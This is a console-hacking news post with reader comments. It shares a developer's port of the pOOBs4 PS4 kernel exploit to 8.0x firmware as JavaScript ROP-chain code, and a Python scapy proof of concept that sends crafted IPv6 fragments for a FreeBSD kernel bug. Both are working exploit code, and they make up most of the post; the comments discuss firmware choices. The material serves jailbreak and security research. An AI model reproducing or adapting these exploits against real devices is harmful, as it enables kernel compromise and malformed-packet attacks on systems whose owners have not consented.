PS4 9.00 pOOBs4 Kernel Exploit (KeX) Port to 8.0x Firmware by ABC

Following the PSFree WebKit Exploit for PS4 6.00 to 9.60 & QuickHEN PS4 incoming, PS4Scene developer abc on Discord shared a PS4 9.00 pOOBs4 Kernel Exploit (KeX) Port to 8.0x Firmware adding the additional details below via PlayStation Devwiki Discord:

Just ported pOOBs4's trigger_spray() to 8.0x and it reliably triggers a kernel panic. This suggests that pOOBs4 can easily replace unreliable kernel exploits in other firmwares.

Just set up the firmware's ROP runner (p.launch_chain()) to execute the chains at trigger_spray() and use that to load the patches instead.

function trigger_oob() {
    init();
    const chain = new Chain();
    const num_kqueue = 0x1b0;
    const kqueues = new Uint32Array(num_kqueue);
    const kqueues_p = get_view_vector(kqueues);

    for (let i = 0; i < num_kqueue; i++) {
        chain.push_syscall('kqueue');
        chain.push_gadget('pop rdi; ret');
        chain.push_value(kqueues_p.add(i * 4));
        chain.push_gadget('mov dword ptr [rdi], eax; ret');
    }
    chain.push_end();
    chain.run();
    chain.clean();

    const AF_INET = 2;
    const SOCK_STREAM = 1;
    // socket descriptor
    chain.syscall('socket', AF_INET, SOCK_STREAM, 0);
    const sd = chain.return_value;
    // 0x100 <= sd < 200
    // pOOBs4 wasn't checking the higher 32 bits, pretty sure they want to
    // since (maybe) they are trying to manipulate kqueue_expand()
    if (sd.low() < 0x100 || sd.low() >= 0x200 || sd.high() !== 0) {
        die(`invalid socket: ${sd}`);
    }
    debug_log(`socket descriptor: ${sd}`);

    // spray kevents
    const kevent = new Uint8Array(0x20);
    const kevent_p = get_view_vector(kevent);
    kevent_p.write64(0, sd);
    // EV_ADD and EVFILT_READ
    kevent_p.write32(0x8, 0x1ffff);
    kevent_p.write32(0xc, 0);
    kevent_p.write64(0x10, Int.Zero);
    kevent_p.write64(0x18, Int.Zero);

    for (let i = 0; i < num_kqueue; i++) {
        // nchanges == 1, everything else is NULL/0
        chain.push_syscall('kevent', kqueues[i], kevent_p, 1, 0, 0, 0);
    }
    chain.push_end();
    chain.run();
    chain.clean();

    // fragment memory
    for (let i = 18; i < num_kqueue; i += 2) {
        chain.push_syscall('close', kqueues[i]);
    }
    chain.push_end();
    chain.run();
    chain.clean();

    // trigger OOB
    alert('insert USB');

    // trigger corrupt knote
    for (let i = 1; i < num_kqueue; i += 2) {
        chain.push_syscall('close', kqueues[i]);
    }
    chain.push_end();
    chain.run();
    chain.clean();

    alert('no kernel panic');
}

The script above uses `Chain803` from PSFree. As you can see, it literally just copies the original `trigger_spray()` from the 9.00 kexploit (with some minor differences due to using `Chain803` instead of Cryptogenic's `rop` API).

So developers on firmwares < 9.00 that have an unreliable kexploit, just use pOOBs4.

There seems to be no additional setup needed (tested by John) to port to other firmwares. `trigger_spray()` is the core of the exploit and after porting that, you only need to setup the `knote` for kernel execution.

And also from abc on Discord comes a FreeBSD-SA-23:06.ipv6 bug (CVE-2023-310) PoC, to quote:

PoC for FreeBSD SA-23:06.ipv6. This only works for 9 <= FreeBSD <= 11. The SA concerns 12 and 13 but don't know how to trigger the bug for those. No kernel panic. Posting this for the people that can do better. Latest firmware checked is 11.00. You can check frag6_input() on your own 11.00 kernel dump.

The bug lets you mismatch the length of the ipv6 payload and the actual data size in the mbuf. You can't do this normally since there are checks on those, either the packet is dropped/trimmed. Haven't found anything yet to escalate the bug into something useful.

Depending on your platform/settings, the python script may need root privileges to send the packets. You need to provide the interface name as the first argument.

You need to provide the IPv6 address of your machine and console and the MAC of the console. Edit src/dst_ip and dst_mac.

• sa23-06.ipv6.py:

from scapy import all as sp
import sys
import random as rn

iface = sys.argv[1]

src_mac = sp.get_if_hwaddr(iface)
dst_mac = XXX
src_ip = XXX
dst_ip = XXX

eth = sp.Ether(src=src_mac, dst=dst_mac)
p6 = sp.IPv6(src=src_ip, dst=dst_ip)
frag_size = 0x500

ident = rn.randint(0, 0x1_0000)
data = 'a' * (0xffff - 8)
orig_p6 = (p6 / sp.ICMPv6EchoRequest(id=ident, data=data)).build()
orig_p6 = sp.IPv6(orig_p6)

# payload
pl = orig_p6[1]
pl_size = len(pl)
pl_buf = pl.build()
num_frag = pl_size // frag_size
# last fragment
lfrag_size = pl_size % frag_size
print(pl, pl_size, num_frag, lfrag_size)

fragh = sp.IPv6ExtHdrFragment(m=1, id=ident, nh=orig_p6.nh)

def frag(to_frag, offset, size):
    return to_frag[offset : offset + size]

def send_frag(payload, offset, m, mid=None):
    fragh.m = m
    fragh.offset = offset
    pkt = eth / p6
    if mid is not None:
        pkt /= mid
    pkt /= fragh / payload
    sp.sendp(pkt, iface=iface, count=1, verbose=0)

fm = 1
for i in range(num_frag):
    if not lfrag_size and i == num_frag - 1:
        # last index
        li = i
        continue

    foff = i * frag_size // 8
    frag_pl = frag(pl_buf, i*frag_size, frag_size)

    if i == 0:
        # q6->ip6q_unfrglen > 0
        send_frag(frag_pl, foff, fm, sp.IPv6ExtHdrDestOpt(options=sp.PadN(optdata=b'\x00'*100)))
        continue

    send_frag(frag_pl, foff, fm)

# update q6->ip6q_unfrglen while keeping ip6af_offset of the first fragment
# unchanged
frag_pl = frag(pl_buf, 0, frag_size)
send_frag(frag_pl, 0, 1)

if lfrag_size:
    li = num_frag

fm = 0
foff = frag_size * li // 8
frag_pl = frag(pl_buf, li*frag_size, lfrag_size)

send_frag(frag_pl, foff, fm)

Cheers to both Logic-Sunrise.com and BrutalSam_ via Twitter for the script.txt mirror and heads-up on this earlier!

 

[rugiotzki]

Looking forward for new system update with Goldhen.

 

[Sschraube]

Why not to update to 9.00?

For me is 5.05 the best and 9.00 is the second one

 

[zegov8k]

can this be used to make a custom fw?

 

[ThcJunkie2019]

Good work.

 

[Doyle444]

@Sschraube Some devs like to have a stable exploit on older firmwares to access their system files, with a more stable kernel exploit, should allow for less kernel panics during testing. For average user, 9.00 would be the way to go

 

[Helghast 4 Ever]

@Sschraube Someone stranded on 8.0x with a dead blu-ray drive who is not able to play any physical games, and is unable to install updates coz of said faulty blu-ray blocking updates thereby cannot update to latest firmware to access PSN for digital games,
and also cannot update to 9.00 to access pOOBs4 jb.

 

[Jattrax]

hope for 11.00 kex in March or July

 

[Niplex337]

nice.

 

[Dblackceazer]

Interesting.